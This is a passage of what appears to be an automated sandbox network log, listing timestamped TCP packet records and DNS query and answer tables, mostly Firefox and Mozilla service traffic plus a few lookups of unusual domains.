Nov 23, 2024 18:22:38.238581896 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.238682985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.239655972 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.241616964 CET	49839	443	192.168.2.4	35.190.72.216
Nov 23, 2024 18:22:38.241641045 CET	443	49839	35.190.72.216	192.168.2.4
Nov 23, 2024 18:22:38.242156029 CET	49839	443	192.168.2.4	35.190.72.216
Nov 23, 2024 18:22:38.247939110 CET	49839	443	192.168.2.4	35.190.72.216
Nov 23, 2024 18:22:38.247951984 CET	443	49839	35.190.72.216	192.168.2.4
Nov 23, 2024 18:22:38.400094032 CET	49840	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:38.400139093 CET	443	49840	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:38.400197029 CET	49840	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:38.400710106 CET	49840	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:38.400724888 CET	443	49840	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:38.417725086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.417737961 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.417749882 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.417764902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.417979002 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.418028116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.418039083 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.418051004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.418679953 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.418698072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.418710947 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.418775082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.419320107 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.419332027 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.419352055 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.419385910 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.419869900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.419930935 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.419943094 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.419985056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.420495033 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.420514107 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.420526028 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.420612097 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.421125889 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.421154976 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.421165943 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.421263933 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.421750069 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.421766996 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.421778917 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.421859980 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.422636986 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.422734022 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.422746897 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.422758102 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.423427105 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.423470020 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.423481941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.423521042 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:38.423577070 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.423731089 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.423755884 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.423772097 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.423794985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:38.424103975 CET	80	49822	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 18:22:14.841555119 CET	192.168.2.4	1.1.1.1	0x691b	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:38.242089033 CET	192.168.2.4	1.1.1.1	0x511d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:38.636565924 CET	192.168.2.4	1.1.1.1	0xe1eb	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:22:44.076591015 CET	192.168.2.4	1.1.1.1	0xec3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:44.081861019 CET	192.168.2.4	1.1.1.1	0xd7f6	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:44.307837963 CET	192.168.2.4	1.1.1.1	0x42ef	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:44.321955919 CET	192.168.2.4	1.1.1.1	0xe76a	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:44.466712952 CET	192.168.2.4	1.1.1.1	0xe587	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:22:44.527782917 CET	192.168.2.4	1.1.1.1	0xd834	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 23, 2024 18:22:46.045696020 CET	192.168.2.4	1.1.1.1	0xe83	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.705540895 CET	192.168.2.4	1.1.1.1	0x17fb	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.762852907 CET	192.168.2.4	1.1.1.1	0x2b47	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.765146017 CET	192.168.2.4	1.1.1.1	0x6e32	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.825212955 CET	192.168.2.4	1.1.1.1	0x7ece	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.827039003 CET	192.168.2.4	1.1.1.1	0xaa9c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.986356974 CET	192.168.2.4	1.1.1.1	0xde01	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.989670038 CET	192.168.2.4	1.1.1.1	0x6339	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:22:46.990029097 CET	192.168.2.4	1.1.1.1	0x2177	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:47.055560112 CET	192.168.2.4	1.1.1.1	0xc08f	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:47.236809015 CET	192.168.2.4	1.1.1.1	0x2de5	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:47.248776913 CET	192.168.2.4	1.1.1.1	0x1311	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:22:47.252825975 CET	192.168.2.4	1.1.1.1	0x7108	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:22:47.441549063 CET	192.168.2.4	1.1.1.1	0xfd2a	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:22:51.201843977 CET	192.168.2.4	1.1.1.1	0x6ece	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:05.120129108 CET	192.168.2.4	1.1.1.1	0x9c4f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:05.121162891 CET	192.168.2.4	1.1.1.1	0x5b5b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 18:23:11.591922045 CET	192.168.2.4	1.1.1.1	0x82e6	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:11.592083931 CET	192.168.2.4	1.1.1.1	0x627a	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 23, 2024 18:23:19.852891922 CET	192.168.2.4	1.1.1.1	0x949f	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:29.417326927 CET	192.168.2.4	1.1.1.1	0x5684	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:23:29.657028913 CET	192.168.2.4	1.1.1.1	0xaef6	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:29.730839014 CET	192.168.2.4	1.1.1.1	0xeed7	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:23:29.732316017 CET	192.168.2.4	1.1.1.1	0x4d1e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:23:29.752346039 CET	192.168.2.4	1.1.1.1	0x6919	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:23:29.905527115 CET	192.168.2.4	1.1.1.1	0x7d60	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.076149940 CET	192.168.2.4	1.1.1.1	0xecdf	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.100184917 CET	192.168.2.4	1.1.1.1	0x13b9	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.189982891 CET	192.168.2.4	1.1.1.1	0x30df	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.322613955 CET	192.168.2.4	1.1.1.1	0xb0ab	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.343750000 CET	192.168.2.4	1.1.1.1	0xb496	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:23:30.421880960 CET	192.168.2.4	1.1.1.1	0x6c47	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:30.481869936 CET	192.168.2.4	1.1.1.1	0xf871	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:23:30.610429049 CET	192.168.2.4	1.1.1.1	0xb856	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:23:33.506936073 CET	192.168.2.4	1.1.1.1	0x87e0	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.507086992 CET	192.168.2.4	1.1.1.1	0x471a	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.507086992 CET	192.168.2.4	1.1.1.1	0xc992	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.656738043 CET	192.168.2.4	1.1.1.1	0x262b	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.657839060 CET	192.168.2.4	1.1.1.1	0x782f	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.658252001 CET	192.168.2.4	1.1.1.1	0x8123	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:33.902384996 CET	192.168.2.4	1.1.1.1	0x2e7e	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 23, 2024 18:23:33.902420044 CET	192.168.2.4	1.1.1.1	0x6a21	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 23, 2024 18:23:33.902848005 CET	192.168.2.4	1.1.1.1	0xf97d	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 23, 2024 18:23:34.047991991 CET	192.168.2.4	1.1.1.1	0x1936	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.048547029 CET	192.168.2.4	1.1.1.1	0x94ee	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.235687017 CET	192.168.2.4	1.1.1.1	0x1fb4	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.236088991 CET	192.168.2.4	1.1.1.1	0x3b3c	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:34.407941103 CET	192.168.2.4	1.1.1.1	0x8fa3	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 23, 2024 18:23:34.411428928 CET	192.168.2.4	1.1.1.1	0xed44	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 23, 2024 18:23:35.435857058 CET	192.168.2.4	1.1.1.1	0xeac5	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:35.587678909 CET	192.168.2.4	1.1.1.1	0x831c	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:35.778578043 CET	192.168.2.4	1.1.1.1	0xd681	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:23:36.947113991 CET	192.168.2.4	1.1.1.1	0xb5d3	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:23:39.585251093 CET	192.168.2.4	1.1.1.1	0xfdc2	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:39.585304022 CET	192.168.2.4	1.1.1.1	0x8e8d	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 18:23:51.985800982 CET	192.168.2.4	1.1.1.1	0xc46d	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:23:58.796725035 CET	192.168.2.4	1.1.1.1	0x4097	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.830667973 CET	192.168.2.4	1.1.1.1	0xb774	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.987977982 CET	192.168.2.4	1.1.1.1	0x320	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.988059998 CET	192.168.2.4	1.1.1.1	0xaf49	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:58.988735914 CET	192.168.2.4	1.1.1.1	0xb2c6	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:59.152208090 CET	192.168.2.4	1.1.1.1	0x7f6	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 23, 2024 18:23:59.152479887 CET	192.168.2.4	1.1.1.1	0xac87	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:23:59.152745962 CET	192.168.2.4	1.1.1.1	0x96a5	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:24:06.144296885 CET	192.168.2.4	1.1.1.1	0x579a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:06.144340038 CET	192.168.2.4	1.1.1.1	0xffbe	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 18:24:09.179058075 CET	192.168.2.4	1.1.1.1	0x663d	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:09.179102898 CET	192.168.2.4	1.1.1.1	0x11d3	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 18:24:14.239940882 CET	192.168.2.4	1.1.1.1	0xb57d	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:14.382447958 CET	192.168.2.4	1.1.1.1	0x3e4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:24:15.761265039 CET	192.168.2.4	1.1.1.1	0x8c2c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:29.666943073 CET	192.168.2.4	1.1.1.1	0xdf0f	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:24:30.963248968 CET	192.168.2.4	1.1.1.1	0x56aa	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:38.477719069 CET	192.168.2.4	1.1.1.1	0x2740	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:38.477780104 CET	192.168.2.4	1.1.1.1	0x9e80	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 18:24:55.777940989 CET	192.168.2.4	1.1.1.1	0xe507	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:24:55.925503016 CET	192.168.2.4	1.1.1.1	0x8070	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:24:57.234311104 CET	192.168.2.4	1.1.1.1	0x6e2f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:26:17.489346027 CET	192.168.2.4	1.1.1.1	0xb4cf	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:26:17.672250032 CET	192.168.2.4	1.1.1.1	0xafb	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:26:17.832380056 CET	192.168.2.4	1.1.1.1	0x8752	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:26:19.162826061 CET	192.168.2.4	1.1.1.1	0x61d2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:26:32.033700943 CET	192.168.2.4	1.1.1.1	0x4585	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:28:30.004898071 CET	192.168.2.4	1.1.1.1	0x2860	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:30.315502882 CET	192.168.2.4	1.1.1.1	0x41c5	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:30.455894947 CET	192.168.2.4	1.1.1.1	0xd6f6	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 18:28:31.439173937 CET	192.168.2.4	1.1.1.1	0xf765	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:53.375663042 CET	192.168.2.4	1.1.1.1	0x93b9	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:59.491343975 CET	192.168.2.4	1.1.1.1	0x589	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:59.636590958 CET	192.168.2.4	1.1.1.1	0x8d6c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:28:59.783269882 CET	192.168.2.4	1.1.1.1	0xc135	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 23, 2024 18:29:01.102840900 CET	192.168.2.4	1.1.1.1	0x4eb9	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:29:55.109832048 CET	192.168.2.4	1.1.1.1	0x70ef	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 18:22:15.183069944 CET	1.1.1.1	192.168.2.4	0x691b	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:15.183069944 CET	1.1.1.1	192.168.2.4	0x691b	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:38.236751080 CET	1.1.1.1	192.168.2.4	0x664b	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:38.629265070 CET	1.1.1.1	192.168.2.4	0x511d	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:44.282308102 CET	1.1.1.1	192.168.2.4	0xec3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:22:44.282308102 CET	1.1.1.1	192.168.2.4	0xec3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:44.289268970 CET	1.1.1.1	192.168.2.4	0xd7f6	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:44.447397947 CET	1.1.1.1	192.168.2.4	0x42ef	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:44.459814072 CET	1.1.1.1	192.168.2.4	0xe76a	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:44.673049927 CET	1.1.1.1	192.168.2.4	0xd834	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 23, 2024 18:22:44.673579931 CET	1.1.1.1	192.168.2.4	0xe587	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 18:22:46.247872114 CET	1.1.1.1	192.168.2.4	0xe83	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983093023 CET	1.1.1.1	192.168.2.4	0x7ece	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983093023 CET	1.1.1.1	192.168.2.4	0x7ece	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983103991 CET	1.1.1.1	192.168.2.4	0x6e32	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983114004 CET	1.1.1.1	192.168.2.4	0x17fb	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983124018 CET	1.1.1.1	192.168.2.4	0x2b47	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983124018 CET	1.1.1.1	192.168.2.4	0x2b47	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983134031 CET	1.1.1.1	192.168.2.4	0xc8bc	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983134031 CET	1.1.1.1	192.168.2.4	0xc8bc	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983145952 CET	1.1.1.1	192.168.2.4	0xaa9c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:22:46.983145952 CET	1.1.1.1	192.168.2.4	0xaa9c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:47.209743023 CET	1.1.1.1	192.168.2.4	0xc08f	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:22:47.209743023 CET	1.1.1.1	192.168.2.4	0xc08f	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:22:47.209743023 CET	1.1.1.1	192.168.2.4	0xc08f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:47.211193085 CET	1.1.1.1	192.168.2.4	0xde01	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:47.211385965 CET	1.1.1.1	192.168.2.4	0x2177	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:47.440870047 CET	1.1.1.1	192.168.2.4	0x2de5	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:22:47.851768970 CET	1.1.1.1	192.168.2.4	0xfd2a	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 18:22:51.420973063 CET	1.1.1.1	192.168.2.4	0x6ece	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:05.690339088 CET	1.1.1.1	192.168.2.4	0x5b5b	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 18:23:05.690457106 CET	1.1.1.1	192.168.2.4	0x9c4f	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:11.733697891 CET	1.1.1.1	192.168.2.4	0x7114	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:11.733697891 CET	1.1.1.1	192.168.2.4	0x7114	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:11.733697891 CET	1.1.1.1	192.168.2.4	0x7114	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 18:23:11.733931065 CET	1.1.1.1	192.168.2.4	0x3236	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:11.735559940 CET	1.1.1.1	192.168.2.4	0x82e6	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 18:23:11.735559940 CET	1.1.1.1	192.168.2.4	0x82e6	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
